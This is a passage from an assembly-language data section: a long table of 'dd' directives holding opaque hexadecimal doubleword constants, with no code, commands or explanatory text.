1ACAFC9h, 39105A20h, 4ED46915h, 0F6031120h dd 0AB3E2F81h, 0E6900BCh, 83CB01A1h, 0C3E4AD76h, 4038C2h dd 4E06917Bh, 0A871Fh, 1279487Fh, 1B8F7844h, 195F8F1h dd 8E6B5A1Dh, 6F031E3Fh, 967403FCh, 0E910450Ah, 26D0430Dh dd 1421478h, 7101C585h, 56DA57Ah, 0B43F090h, 491E8B0Eh dd 4806E001h, 5C1F8F1Bh, 3847E444h, 1E1A9E1Eh, 18523A36h dd 81E63A3h, 85187B30h, 139E61B0h, 674E1Dh, 911A6AB4h dd 6600631Bh, 7481526h, 786F7F85h, 352F470h, 647D9A05h dd 0D10F6CACh, 66E1671h, 9239357Bh, 42757C4h, 56F3928Fh dd 5EE002C8h, 507028C8h, 34DB0E00h, 0AB396AA7h, 0DC88582Eh dd 40421513h, 0BB97DA8Ch, 18C48960h, 0D0823313h, 5B08844Ch dd 0DF3EBC80h, 0E0D44CF9h, 0F1E17C0Ah, 902F282Ch, 19A8AABFh dd 88A3660Ch, 0A1B38C0Ch, 7890E630h, 58D8547Ah, 888970A0h dd 803121A7h, 1D7740CAh, 0CC259824h, 8D596A40h, 78A7A02Ah dd 5013773Bh, 7E879F58h, 10BFF743h, 8AEFD6A2h, 0A475B0D2h dd 0A2AD1DC4h, 6821322Ch, 0A409A143h, 0FBA6C8D0h, 4C257166h dd 847CD4F8h, 0A3DEBC12h, 8323E447h, 10805D45h, 3A7D1938h dd 2814BBAFh, 12740CA3h, 4F2D2025h, 5B24AEFCh, 0D9B8C0AFh dd 323A7AEBh, 7CE44C59h, 0ABE217F9h, 301468B3h, 2B58A1B7h dd 9DFEDC65h, 2761164h, 21AF0D19h, 0BC8CA812h, 0B8905A10h dd 8E183621h, 2A8FA7B1h, 14F060AFh, 0F83E2A02h, 0A08C7CC2h dd 5C4130E2h, 48200905h, 0AF8C8870h, 0C1474130h, 0A62F39A3h dd 1A32458Ch, 0FB8880E4h, 99AB257Ah, 5098327Ch, 3221B310h dd 491DAB4h, 0E11840DAh, 40519ED1h, 88B453A0h, 13E06A31h dd 5564205Ah, 0D1D52984h, 97E21D94h, 0CD4543Fh, 0C851B310h dd 4680A1B8h, 0C8C996Ch, 8C2B3928h, 4E50D16h, 5E85042Ah dd 15883339h, 406CE04Ch, 29843EF4h, 31948F8Ch, 253B4140h dd 50506660h, 148A2628h, 999A6880h, 0A129CF0Ch, 86EB00E0h dd 23FC0C99h, 4CEBD54Ch, 0B8A8A1B8h, 64802814h, 850C99D1h dd 34E15F39h, 3DA29C5Ah, 37EF443Dh, 0A0AB8C2Ah, 212C24E4h dd 0CE31EC39h, 2E1D0845h, 7488D825h, 61796A10h, 0CAD4F850h dd 1AB0828Fh, 50D2ABA4h, 6FA8E453h, 2C858681h, 0D8EA5379h dd 5856DC5Dh, 934C23CAh, 0C42C3FF8h, 0B16B88CAh, 0E01BCAEAh dd 50FF21E8h, 3868944Bh, 0FE132904h, 7B0407D9h, 4788C846h dd 21B00AA2h, 4830AFCCh, 86B71D75h, 3E70D59Bh, 3B445E87h dd 9C02B541h, 30E92566h, 95AB5B3Ch, 0E891D547h, 0E043C47h dd 792C9FBCh, 3C70D854h, 475FE3FAh, 616B8BECh, 48DEC2C4h dd 0EE7A1Ch, 5161EFABh, 1015D59Ch, 1175F900h, 4ED6D3FAh dd 0E106009Eh, 71FBA2A7h, 2505ED23h, 0A486E519h, 806E24E1h dd 0D56279FEh, 3A3C501Fh, 0C7B7B1C0h, 787602h, 65F5DB07h dd 102D73E2h, 52FF7F03h dd 0C0D1307Ch, 9C55DE8h, 2B9266D6h, 0E4640020h, 9601DF01h dd 0A8B9139Ch, 0ABD0B4D1h, 60B7EE41h, 14F38E8h, 32003F03h dd 2589BB0Eh, 307A55E2h, 5A49A3BCh, 5E000C2Dh, 0B18C1BB5h dd 34CEADBh, 7702492Ch, 29002A9Dh, 80A0B9E0h, 229C5Fh dd 39F4218h, 0C03DDE13h, 7572CB00h, 0CC3682A7h, 258F09E1h dd 28A55321h, 15244087h, 0A0884007h, 5F07A67Ah, 0FDE7BBDFh dd 174019C7h, 0C04D857Bh, 52DE0639h, 5F0E2876h, 4002DC2Ch dd 9D0369A7h, 6B538CAh, 0FEFA189h, 0E1970881h, 0D9C52054h dd 5E812603h, 0E8A21D88h, 0BE76EFh, 22AE438Dh, 5A558AFCh dd 0A1F8F00h, 250664Fh, 58621F7Fh, 54BE0378h, 55C07D27h dd 7A007937h, 7E7C4FEDh, 147F3123h, 140C6675h, 46C157A3h dd 4930837Bh, 0E03D5C67h, 8037517Eh, 450F0221h, 60255076h dd 554E378h, 38591862h, 4330904Eh, 18E27237h, 4D255540h dd 215F0E7Ch, 809B644Eh, 3C37283Ah, 490E9D73h, 4F265203h dd 46780D72h, 0CC31547Eh, 59DF4927h, 0C5D704Ah, 0A054EC62h dd 78420B84h, 4A090550h, 265C75h, 45032188h, 29C0ED71h dd 0FA972BECh, 5C5B3CABh, 20D0FF0Ch, 19051D49h, 992A5586h dd 0D6B61800h, 0FEA2FFh, 23679D56h, 72C3F655h, 8E3E6603h dd 0A06EE440h, 7E2ED2A6h, 0DF29039Fh, 5C5A2CB5h, 0EB54BDE0h dd 0BBE51A24h, 0D1FDA503h, 9D710038h, 25CE133Fh, 8E80EA18h dd 0C15746Dh, 5952709Eh, 0DA011728h, 0DEAFED4Eh, 0FC01F391h dd 6CA1940Fh, 79AA2218h, 68AF64D4h, 0F7FC215Ch, 83373183h dd 18318EF8h, 98DF59DBh, 0ABCE22E2h, 15E40F09h, 610D2040h dd 2C0F29C9h, 0F6B898AAh, 6595D559h, 218C3058h, 41DAC3A8h dd 0A8622Ch, 7E41E779h, 0C2560CCDh, 8220F4B8h, 9155A905h dd 0D008F695h, 3121C48Fh, 0B318477Eh, 49632E7Fh, 1DE9E731h dd 18F9F3B9h, 0C0D968CAh, 2819ED79h, 9AC8EC99h, 0C776C610h dd 55DC43E9h, 0A7EBF106h, 1931DC08h, 185B80D4h, 24C51ABh dd 545840AEh, 0F8600325h, 13D6B791h, 56FC3790h, 1119C039h dd 86F7D5A6h, 84808C30h, 4C595418h, 58FF5173h, 1A9E813h dd 68DF9791h, 0BE5C44EDh, 7EC20539h, 0A421A0E7h, 0C90AF204h dd 0C474362Fh, 2CE8A7B8h, 644284DDh, 0C018A0E2h, 10148C06h dd 2128CBA6h, 0CE425C3Ch, 0FC8FD410h, 88104244h, 0A8514FE0h dd 88F842D4h, 0A8714FF2h, 9FF442E0h, 0A8DC1161h, 881C4240h dd 6A744481h, 0A21E7810h, 1A0C11B4h, 841FD19Dh, 5CC8F2FCh dd 226C9A2Ah, 8C9123D0h, 31F0DF0Ch, 0F34D24C2h, 0E1A14060h dd 61D252DAh, 11848C14h, 10258D1h, 125D7BDCh, 10F2C27Fh dd 266D370Ch, 98BC41DAh, 0B59A6187h, 29DF4414h, 0A4DE8208h dd 268C6CEEh, 61D0FA03h, 42719E3Ah, 5084FD74h, 0CCBCC8C3h dd 0FB31ED67h, 88FE405Ch, 0A029BB1Bh, 0D50AA008h, 0F06A98A3h dd 3464496Ch, 0C121FDB0h, 67FCCFA1h, 46AE1070h, 0E27B8878h dd 0B491C32Ah, 0B31B205h, 0A0807144h, 323763Ah, 0D784E03h dd 52A0480Fh, 0B100490Ch, 9D7E3268h, 1F7B69F9h, 4A567Ah dd 3A372348h, 0B055573h, 222AF4Eh, 360D08C1h, 28B07BD1h dd 73450E11h, 7F5C0AF8h, 3A007910h, 7E372048h, 0F13354AFh dd 0F251870h, 3856674Eh, 80237F07h, 0F52757Dh, 0D100045Ch dd 6BACAF04h, 7F383C12h, 421B400h, 0A5366549h, 0C58D8C18h dd 19131C11h, 240070D6h, 6ADC0237h, 0D5B006D1h, 18418A08h dd 8FD7793Bh, 8556FD4Dh, 2CC855DFh, 18B71329h, 52F40FE0h dd 806A8505h, 921A231Ch, 0D409F674h, 46CFAEB5h, 0BEEA8Ch dd 2945DEA6h, 0A0E482D1h, 76D9BF05h, 0E0C039B7h, 128B426Bh dd 9B962C5Fh, 8F507BC8h, 0ED187D40h, 40D9DA0Ch, 0AA5A3A85h dd 2428EF78h, 0C007AC18h, 7CA49278h, 6C024702h, 3CF788F1h dd 97FF7E07h, 0A780FEB4h, 98EA9D10h, 6D68C1E4h, 17CBD67h dd 7601013Dh, 8F890EAh, 0A810985Ch, 18A73EC1h, 0EF40C94Fh dd 9050C685h, 0A44A7820h, 0F8BF6045h, 8268C28h, 8F1A243Bh dd 0B8086DBh, 0B6EAF2B0h, 88C26804h, 707B5700h, 0F51C240Bh dd 0A194108Dh, 0EBDA02C2h, 6EEF5A41h, 0ABEDDFC0h, 485089CAh dd 4EFC0932h, 64144828h, 9E430AFh, 7CCD35AEh, 9C8E00FFh dd 84924AB9h, 3B01EF38h, 49035553h, 45E45EAFh, 0B231E66h dd 62511647h, 50C16578h, 615FC548h, 100DF054h, 9E852F6h dd 56634500h, 0FA90274Ch, 44A670h, 0C9A02D19h, 75724C52h dd 0F045353h, 95646CB7h, 7089010h, 55624318h, 30AA94C8h dd 269F68C5h, 83432008h, 823E8858h, 0D2A04029h, 9294E424h dd 1099C4CCh, 90084C3Eh, 98125589h, 486730B6h, 104A7C59h dd 0C6126A51h, 0C8889A27h, 2A88CF08h, 94207020h, 9C444D0Dh dd 94F00ABEh, 11420C3Dh, 8CB23Ah, 5E996850h, 84D4A131h dd 9228513h, 98834482h, 86129989h, 9C488724h, 9A229D91h dd 89909B44h, 249E1291h, 9194489Fh, 7C922295h, 72AC0093h dd 6E05035Fh, 165246A9h, 0B85932F4h, 528496ABh, 14EB0486h dd 2808ED4Bh, 4C00BC5Ch, 998F5D4Dh, 3E5F5BAAh, 140057EDh dd 0A6B155F2h, 5C3E5415h, 534D9D84h, 0DBAB6907h, 0A3477187h dd 408C79C7h, 205BF821h, 74401468h, 0F5A600B2h, 0ED844154h dd 48943D25h, 487FED7h, 5E9255FFh, 1C1D88B3h, 63C826Ah dd 9D2F576Ch, 0AC3852BAh, 757F0826h, 65811A3Dh, 7803724Ch dd 45610991h, 0FA040B38h, 0C22BB0AEh, 0B27100AAh, 0BFF47220h dd 0ED62183Fh, 9590E421h, 0CF09C038h, 1A0760B0h, 263C70C3h dd 5621C3h, 0D953D818h, 4F55F901h, 57799314h, 0A13E1Ch dd 0C65D2D05h, 0A45E4A37h, 0A7A95E28h, 437506E4h, 33416831h dd 0AF31258Ch, 0DB397C00h, 288CA6Eh, 68A20073h, 0A369345Ch dd 1A3C2CAFh, 726A0244h, 8F60D291h, 7A20A084h, 992A57h dd 45A4C6AAh, 88C0D515h, 2686500h, 9436E08Eh, 127B0026h dd 0D51FD8DAh, 0A200CB1Ah, 72C830EDh, 380ABAh, 7D9357EFh dd 42F46ECh, 7956AD00h, 0A11B6AA7h, 422E30C0h, 91A4F68h dd 0AD60A6F0h, 0A3517F10h, 0AC3A2010h, 5E897307h, 0DE9BA99Ch dd 2562026Ch, 0B880A418h, 0D7C77A8Eh, 56FEBD03h, 803E8F2Ah dd 1090633h, 7A972EAh, 0E00B9DC7h, 590087F8h, 0CBAE9CFCh dd 86F7F9h, 0A8EDA37Ch, 33CDD808h, 81DF1C00h, 0E7EBC592h dd 0D43700AEh, 0F088C85h, 0EFF8BC0Ch, 62DF860Eh, 34B980EAh dd 3A7281E9h, 67C0459h, 0AAB0EE6Bh, 0BA1F40C3h, 0A614DAC2h dd 0A09A14AEh, 0DD039F40h, 0C097E7C3h, 0F8F44D1Ch, 0B0EB3CCDh dd 98603053h, 8DC93A1h, 51081CA6h, 8F92EEh, 0DC366C0Ch dd 0A2E8DDB0h, 4E5060A6h, 4D56478Ch, 0DD93E004h, 92EF0308h dd 0D21F02DCh, 0CD9C4A0h, 0A00018ACh, 0A1EDEB37h, 2CAD6C2h dd 0B5D80B9Fh, 2CB359DCh, 40AE86D1h, 779C87C4h, 9715FCF8h dd 8F38F10Bh, 0E37D800Ch, 0FCCD88E8h, 0F2D1FB96h, 401C145Dh dd 0E8F10059h, 98047D61h, 0EE7467A0h, 0D8369714h, 0D9CB02F8h dd 880579B4h, 5E55044Ch, 631AE700h, 5786E1F9h, 0BFF300FCh dd 97872A59h, 0DFE8D7C2h, 34A30826h, 86E97D04h, 0DC4700D7h dd 1233288Ch, 40E8D872h, 0CEA08B98h, 973EF014h, 0B9851335h dd 48504019h, 3C6E0CE0h, 204CF2C2h, 0E8026CD4h, 8AE7378Fh dd 0E2D9EC41h, 191A744Ch, 89161C6h, 0FE570460h, 30080C24h dd 0B0DDCB01h, 80D17853h dd 932C9064h, 401C1240h, 0DD942E58h, 54B0D434h, 0F02D0B09h dd 87D081A7h, 99E00DAEh, 40CA6292h, 0C060D8DCh, 0E601C553h dd 0D7B9DFEDh, 51D3BE93h, 39C08C10h, 0A3350292h, 0D934A185h dd 0D27C70C1h, 0D87EFC60h, 0A0902C7Eh, 0C57C5AB0h, 3162DFF0h dd 4334A960h, 0DA5800ACh, 2E08A685h, 40C1AB84h, 0DB36BA2Ch dd 0C8BC92D1h, 0E73BA83Ch, 9330C7F4h, 0FCDBC753h, 0DC7C85A1h dd 0A086DE00h, 0A6EDD83Eh, 8798A40Bh, 0F86AD504h, 78DE3650h dd 0B9B97881h, 0C36181D4h, 665380D6h, 7D23C60h, 0AEEFEE60h dd 0DDB1D991h, 1849B827h, 35BB8AC2h, 30AAF041h, 0A03A9E1Ch dd 0E89324C5h, 8D2CDC03h, 1630E6C4h, 1E84DA36h, 0DD900F7Ch dd 9286E500h, 40941CC0h, 7ED70448h, 81F80C0Bh, 8EC4218Ch dd 0B460E5CBh, 89E4B308h, 0CB0E9B9h, 2C1DEA67h, 0DC2C09BEh dd 8D100819h, 2C287CD3h, 49C4EBC2h, 0EFB91C03h, 4CDC094Ch dd 9FE452C4h, 0C8C25032h, 2E3D9FC0h, 420DF85h, 0C3D8A095h dd 697CAE10h, 973A3678h, 20D92EA7h, 96DC9342h, 0F93C902Ch dd 13C2AEDCh, 0DDDEDDAh, 6058B534h, 360F8C20h, 99BE9CA3h dd 809461B0h, 4D218F2h, 0DA0DCE50h, 491FF38h, 57BF8EAh dd 5697D2F1h, 0E084B5DFh, 0EA21C1B9h, 872AC20Ch, 0F50B189Dh dd 0DAC8009Ch, 2908B9E1h, 0DE68B0DCh, 0E7EA6C01h, 80DAD8ABh dd 5DDCD860h, 850264FCh, 81E508A7h, 0F86618ABh, 0F0535089h dd 0A8E8E5FDh, 2086A02Eh, 34AB8B82h, 838E0A2h, 1D449ED6h dd 36AA04E8h, 4F3CF2DCh, 0FB4ED431h, 0BC5D0h, 0D834B992h dd 0EBC0A193h, 6301DFF0h, 7CAA86EEh, 907098EFh, 8AFC3A0Fh dd 60410B3Eh, 3130B850h, 0B4EB21E7h, 0EF371DDFh, 0DD340997h dd 2D8150E9h, 800C83C8h, 0BC680B09h, 0E082C252h, 0E8E2E47Ch dd 6C643417h, 0BEDFECB0h, 5F34E850h, 87DDCD05h, 8B0590F7h dd 80A37Ch, 83CD2EF0h, 0E11C2D54h, 868137DDh, 85E6CE53h dd 0BB812180h, 8CEDD8C5h, 0C8A1E7E8h, 743038B9h, 0E020EA5Bh dd 29DD6033h, 0A938A181h, 0F1EB7E10h, 0BCB0F87Ch, 0AA0DE8DFh dd 607C2832h, 378E2474h, 0CDC201Ch, 0CDAA84D5h, 0C107AE20h dd 329286DAh, 0CBA08541h, 0E05DB838h, 70E59C5h, 8A2D52C4h dd 0B975418Ch, 0C1EC2809h, 8F92E733h, 0D8B1FEF1h, 47DC8788h dd 525343DCh, 405C86B4h, 74F9878h, 0CA268ABCh, 0A9283C04h dd 0C2920180h, 0A045D8EBh, 0C5B042E9h, 60B9F0A6h, 0E36A917h dd 780BDCCCh, 0B9A619E8h, 1DAE9ECh, 58552EC2h, 4993DC31h dd 3061602Dh, 68D8D737h, 9CEFC1D4h, 4420CDA3h, 94F4A692h dd 0F0E8C964h, 804FDCD8h, 81ED300Fh, 0DF86E663h, 0E885EFF1h dd 497EE60h, 0A281DCF0h, 20ADFF18h, 0C513A9B4h, 0DC01EDD5h dd 0CBAAEBF2h, 0F6C40CCCh, 0DF1507CFh, 2094CAB8h, 43240768h dd 49839300h, 263EA0C6h, 66993AC4h, 89F15960h, 1F00EE17h dd 0EA402AA9h, 608390ACh, 0B14C38D1h, 51EA124Ah, 7097333Bh dd 0FEA4DF0Ch, 209648E7h, 0A5002FC9h, 303C08CFh, 33B32049h dd 330FBD1h, 0B7F57BD0h, 4E38F618h, 0AD95920h, 9562832Bh dd 0FE927320h, 20CE0D30h, 3F0D4B90h, 0A02BF24Eh, 0F8A78C00h dd 14950177h, 0C62FC0FAh, 0B908920Ah, 1DB8F0h, 28B077FFh dd 0B4F38F19h, 0DDD4C44h, 9BF898A3h, 91589118h, 9677829Eh dd 0B831A214h, 77FA5210h, 0B672CD00h, 0BB2A93E2h, 0E95100D9h dd 20C4EB4Ah, 0A4A0C7F3h, 4007EDEFh, 0F6B45086h, 84453BC5h dd 0B80425DAh, 84410CBBh, 98F9A97Ch, 47698190h, 1F8F482h dd 30263883h, 5894F1E3h, 7481421Ch, 0C6001822h, 7D71E630h dd 640F4F93h, 0E6ED6194h, 3759A2C5h, 0E0613DBEh, 0FA36DEF3h dd 4F03CF76h, 0D40DB581h, 74B9B68Ch, 441530E2h, 0CE498031h dd 283CE824h, 809AEE8Eh, 58DE4EFh, 0EDC73028h, 8FA90819h dd 92152202h, 456A8133h, 34A26430h, 0B968A4h, 269CB4D7h dd 0FC794649h, 1C131B29h, 0FB27AC90h, 0B32A7048h, 0C124CA49h dd 14CF7A5h, 4D9A5C00h, 8FD84B50h, 8E2B0B0Eh, 9D41D805h dd 0E363005Ah, 78AEFD52h, 8E2B2A54h, 83D1E0B7h, 0E1FDC81Ah dd 46830CE7h, 2D1F599Ah, 0C604ECE8h, 0A7864FE0h, 21386009h dd 54ECFC0Dh, 1326B9FEh, 0CA0300A1h, 42D9F30h, 0BAA98178h dd 0EE0CC8BCh, 8CFFA50Ch, 1414E046h, 90602183h, 7CF9E844h dd 0EA90A805h, 0B866053Fh, 7BEC7D8Eh, 98AD118Ch, 0A0D6C482h dd 37917495h, 0C8033280h, 0CE006E97h, 0B6982E7Bh, 2A0C950Fh dd 0DF4A1B2h, 2F20D6C5h, 5E801A8h, 0F7D18048h, 0DC1ED915h dd 8C751DE9h, 268841F3h, 5F4709FBh, 20867A70h, 0C60A387Eh dd 0B0ABAFA1h, 3B23E820h, 49C80148h, 303D465Eh, 3514C3C8h dd 0F220BCF0h, 0E4084D4Ah, 0C272603Ah, 0EEC4043Dh, 8C3E51C7h dd 0A91847E4h, 4070A3C6h, 39496016h, 28034B3Ch, 4C01CB14h dd 2AE70AA4h, 2F80E4A1h, 0AA9CCEA5h, 93FA0EA9h, 0D9AF2736h dd 91BCE640h, 0EC4CB604h, 599B0890h, 998F0166h, 22823C7Dh dd 122C0528h, 0A80021CBh, 24FE03E9h, 3044923Ah, 0B9794D9Bh dd 173E77CFh, 7CD9023Ch, 68D630F6h, 0B0C3FE3Ch, 0E3843224h dd 58A7D320h, 0FE59D0EBh, 0B0922C04h, 88645300h, 296DCA95h dd 55B23334h, 9100DB08h, 0C1886C72h, 723BE79Dh, 443E0254h dd 67172FF2h, 0AC1D4C64h, 0C500A1CDh, 0C14F08DBh, 4C1004C8h dd 93A25A76h, 0DCF238B8h, 62A1BD00h, 32F8A00Fh, 0C5D77E12h dd 6B7D4F18h, 13C30050h, 2BE8148Dh, 0DCC8A8ADh, 0DE680FAAh dd 0A4E1F15Bh, 0D851CB39h, 0A50036DDh, 75E42641h, 0A0F74691h dd 474CB898h, 6A0C7D30h, 0A0274390h, 0A3C400E4h, 30359269h dd 0D063B799h, 0E2A11918h, 0C6204095h, 0DE183068h, 0BD0CE618h dd 0EA014C93h, 90C66FECh, 0F883018h, 0B3EC07E6h, 0C043B95Eh dd 0A2E46548h, 0F88C4D54h, 887A0F8Ch, 88D1CAFFh, 626C8154h dd 0CC8D8F88h, 953E611Bh, 0AD301D97h, 99EEC6Ch, 96531D41h dd 0E4503AC6h, 4974C7A5h, 0CB083831h, 9A076165h, 34765733h dd 1B200029h, 6CA5F6D3h, 8D334975h, 28086Fh, 0D283C021h dd 0C89D1AD9h, 0D7BA520Fh, 0A3B0F474h, 0FBD823CCh, 0E2887B00h dd 862AC5CAh, 897F44h, 937B8863h, 4A459A72h, 0FE48D0h dd 8983FAF0h, 485567Ch, 6A78BA2Ah, 79D0882Bh, 384BFE00h dd 753AE84Ch, 0E3B70787h, 0C23D2812h, 584C6735h, 0AB986208h dd 0B023532Dh, 887001FAh, 0ECDCAE9h, 88788E03h, 75FBA974h dd 4EF10383h, 2B07696h, 149177F4h, 10BB31DAh, 6077FCA9h dd 0F9216A47h, 7A2E0641h, 851FB471h, 0F060A020h, 0F014813Bh dd 6680481Dh, 2A8832CEh, 94615318h, 8FF18BCh, 0E8C67AECh dd 9E70870h, 1902D0ECh, 0D53BE002h, 82718101h, 0A5AB00C2h dd 0F5056E4Ch, 2F01832Ah, 5C9934C4h, 0BAF25472h, 0DC8F30h dd 9D6D410Eh, 0DFB0CD4Ah, 7C48353h, 0CBCE84A9h, 0FC5DDC40h dd 7E4604AEh, 987833EFh, 0D2089054h, 70B4A5EDh, 0D30218FBh dd 95F546B5h, 5BE0E017h, 7A117C7h, 900843AEh, 0F83E2F67h dd 7340758Ah, 0EE4B888h, 9BE7AB34h, 9796C5C1h, 390C361Fh dd 83899CEAh, 0FDE42064h, 94886160h, 2955CA10h, 738757C8h dd 0DE7389A9h, 0DD8BE8BAh, 3EA791Dh, 7FC7B7B2h, 0B9A03F8Eh dd 0B0D3B803h, 0CFC00418h, 3F2088A0h, 18830D40h, 18BB6251h dd 6B206909h, 33071DD4h, 41E69DF0h, 9AC929FEh, 0D9E4F8B2h dd 689068A4h, 95028246h dd 0F8C664ECh, 0E0048E7h, 4323ECFDh, 120E1A8h, 58504929h dd 3F20C73Dh, 0C6CB2008h, 0C0311975h, 0C8344AA0h, 0FF70C036h dd 0A2384162h, 986A84C9h, 5890D9F3h, 539F33A1h, 0DBB2C03Ch dd 79FB4E30h, 0A80C5038h, 822FF9Bh, 0C896B882h, 8F08A464h dd 3B195Eh, 5844A931h, 2DF83D43h, 0EAC479C7h, 0A62E7641h dd 2C863474h, 64ECBE57h, 0C814CB3Fh, 0E418C0A2h, 3267B43Dh dd 7E403B69h, 4C895E8Ch, 0FD82EC3Eh, 982A972Dh, 1D5465Ch dd 0E9C3A3F9h, 88418B44h, 10ADA4Bh, 1F543188h, 0E8411E6Bh dd 0E30CBE18h, 0C666EC08h, 91CF88h, 0D7ECEB04h, 79DAE8h dd 0D4451D0Ah, 5FA5C264h, 0A001A14Eh, 7F559B46h, 24D71C20h dd 5828C8C6h, 73000D80h, 33937D4Ch, 2AE3096h, 0C843F59Ah dd 9C60EF09h, 0B8A018DCh, 0A125C66Ch, 903405ABh, 200804CAh dd 0CC012CFBh, 5231C379h, 0FF8DE0DAh, 90C44CEBh, 0F1242220h dd 83C09C95h, 5CA35FB9h, 2EB5103Eh, 0FE8C7E74h, 0D6CF0084h dd 0D514457Eh, 21C002B4h, 0AFF82E3Dh, 0CE0C0F3Bh, 0E65D4464h dd 2282008Ch, 406841B2h, 1D300090h, 0C486D8DEh, 0DC84534Fh dd 39B48E0Ch, 3F07C251h, 0B90C7480h, 82377770h, 9D7000BDh dd 1544E869h, 340BABC2h, 2C186E7h, 9625548h, 0EC8C00B0h dd 0C86CB949h, 0E6F7C7FDh, 6CAC4E1Ah, 1906A344h, 0C86877FEh dd 12D0329Bh, 0E80F94E7h, 27D3A462h, 6F03408Ah, 42B1920Ch dd 0FDF5E900h, 4D8F8568h, 0A8755C58h, 38C56E8h, 0B0946A2Dh dd 0A0D92E6Dh, 5044274Ch, 48C56A8h, 0A5F7D31Ah, 203F6284h dd 51D282CDh, 9F0E4B3Ah, 1600219Ah, 6A536ECFh, 18C44877h dd 0A07CB6A4h, 0C032219Eh, 454ADD71h, 0CB1D3919h, 0E0879250h dd 54AC5A09h, 0A8FF58CFh, 3D576D04h, 1E35D47h, 0A5F0D295h dd 88D118BCh, 0D213BDC2h, 68010F52h, 0CCCFBA78h, 790440C2h dd 8BB914C6h, 0F501D002h, 8790E8CDh, 0DC98EA7Ch, 92105C6Ch dd 98074CE1h, 79DB5FE8h, 65B46488h, 0EA8C6031h, 0B0C3988Fh dd 50C0F6DAh, 262D7471h, 7674E9D9h, 39032B46h, 0CECC5732h dd 3BE95FE8h, 0A0332606h, 9295DCAh, 45755EC5h, 4E6A3C90h dd 0A54CA203h, 2330CD7h, 7147A918h, 0E976B6h, 20C4715Ch dd 0C7400F18h, 4418B0FCh, 20C36F89h, 87502AA9h, 3C1CD5C1h dd 81B3D085h, 20F8C84Eh, 0B0B91E7Ch, 0DC18A5D9h, 526B503h dd 0D845988Ah, 6A0EAF8h, 43123203h, 4F0D9823h, 0B849C676h dd 57F2D472h, 80F09F31h, 0E1350092h, 0CA37A803h, 30A0AB20h dd 20E9DE56h, 4E00B2E4h, 6BE194DCh, 9C7251C6h, 4DCF41C8h dd 0D87FECF6h, 117CCCB6h, 0ED59487Dh, 0CC1541ADh, 37038D17h dd 0AA44D48Ah, 2B4840F9h, 2EEE4B8Eh, 1C2B239Ch, 0BD538186h dd 3C0B4B3Dh, 0C4FBCA38h, 6F80FF11h, 65CAFE88h, 0D8222943h dd 5288E6A0h, 0FFFB3728h, 8214C548h, 5069B31Eh, 0FEDD15D8h dd 310E8044h, 23240B8Fh, 261CC866h, 0A73BC700h, 0AE835725h dd 0BB42001Ah, 31CEB10Ch, 0C40BF417h, 292EA390h, 3A5CCC80h dd 9F427DB3h, 461D9305h, 97171897h, 0C7837312h, 60B84410h dd 4CF3A069h, 35090C7Dh, 0CCC17C3Ah, 97828A7h, 0E1B94608h dd 0BC62E758h, 1E3030F2h, 41D3070Ch, 0F02B0197h, 0C7B981ADh dd 1060ACE5h, 2326F08h, 0CCF68FF4h, 9BF8B0D0h, 0C452B26h dd 0C0C8330Ah, 6365CB61h, 73968042h, 0E3EB70F0h, 0E40FEE00h dd 5A8722Ah, 0FA21C07Ch, 5863433Eh, 0CA1D8807h, 0DF90604Ch dd 1EE97207h, 0E8E1B8D0h, 0BB2B0DBCh, 2088417Dh, 0DCAA3144h dd 45F26843h, 27C6C725h, 0D6123F18h, 0C5962674h, 0A4F04CFCh dd 832283Eh, 98AFCBDEh, 6D4A210Dh, 0DBB7F712h, 0C693E004h dd 0A8CECA5Fh, 831E84E4h, 43E8E115h, 27828AC8h, 62A13C01h dd 30CAD983h, 403F297Bh, 0ACA689CBh, 23CC913Eh, 0CD298010h dd 4E603D7Fh, 9F386439h, 2187810Fh, 0B86C250Ch, 0ECB20131h dd 0B0D9F002h, 1215B8D4h, 60E74E34h, 9477F144h, 96F2142Fh dd 0BC1C4CB0h, 84808F38h, 9971F0FDh, 650018F4h, 95EC0B5Ah dd 613AB43Fh, 8FA950E9h, 6908DCF0h, 43224714h, 0E74A7734h dd 3023982Eh, 0D464420Eh, 0D6260096h, 433D3775h, 93C60A98h dd 38C8490Dh, 4F68400Ch, 7B4F5539h, 605E1022h, 80E902BCh dd 0F17013ABh, 55140C00h, 2798F68Ch, 8578BB32h, 9210F7A5h dd 24412A44h, 83F42251h, 92019033h, 4028EF46h, 90C5BB4Fh dd 2338A725h, 749517A8h, 1ED0B6A9h, 4823F6Ch, 0CEA98264h dd 384434E8h, 22D7F727h, 40BD0F04h, 9896BC18h, 0D6301F38h dd 31CF1883h, 435498CAh, 0FD1751C8h, 0F8C81240h, 0BA30B0B9h dd 219926E4h, 24B03934h, 803D8BB1h, 3A87B700h, 4A78464Bh dd 435C00A0h, 2161DD90h, 0FF58B549h, 0CE7961B8h, 8060385Dh dd 6D3C1CE7h, 8FD16CAh, 91C0791Ch, 53A5ECD2h, 0E68094DCh dd 0FDF7D319h, 0FF393008h, 0B4540436h, 0BB54D1EFh, 348104BAh dd 39838CE5h, 4E352C9Ah, 923F84A7h, 4C93C764h, 2DBB46B1h dd 0B844C18h, 4C274B23h, 0ABFB02E4h, 85DEC1Eh, 4ACD4ECh dd 501700A4h, 944BAA9Bh, 0EB884103h, 7709ED18h, 1CD21490h dd 0F5A830B4h, 8F106520h, 0EB66311Dh, 9B150401h, 78BA6AEDh dd 6629761Eh, 0C9A006F8h, 526F1E7h, 80BB0841h, 0A9B72434h dd 0F556DFDh, 9C2D33ECh, 764D8141h, 3CF87159h, 8CDEE8F8h dd 7C46622Ch, 0A2320D0Bh, 0EABD5E14h, 0A5948220h, 0BC050166h dd 0C438825Ch, 0EAC5F338h, 2A4023BCh, 8EF900ACh, 0D30DE49Ah dd 60001471h, 1B9CA930h, 14977782h, 34870294h, 67813383h dd 9003C05Eh, 0D8134246h, 39FB6664h, 0CB8676ECh, 9C4BA4Fh dd 46216A60h, 3BCECCDh, 0BFFF48F0h, 180335F8h, 0D18F286h dd 0DC92A026h, 1DF30643h, 1166F874h, 0B2C10201h, 89331287h dd 5ED11C51h, 4924A7FBh, 6EA56F00h, 0BC520718h, 0ECCE024Ch dd 31F3FB03h, 0F43D106Bh, 26E300ECh, 0DDE52D34h, 2300C6E0h dd 0EB9A9C1Ch, 633F9B7h, 2BE143DAh, 443989B0h, 3D910F24h dd 0EF2F610Fh, 43D0D13Fh, 7E20C086h, 0A508442Ch, 0FB7B9D00h dd 0DDFED0DFh, 0D9B30CFh, 3B1C35C1h, 0C5258B00h, 56F5096Bh dd 0BF80061Bh, 62FC3D78h, 0F27DBE00h, 30E531C6h, 8CB0187Ch dd 1536E8F7h, 12482C60h, 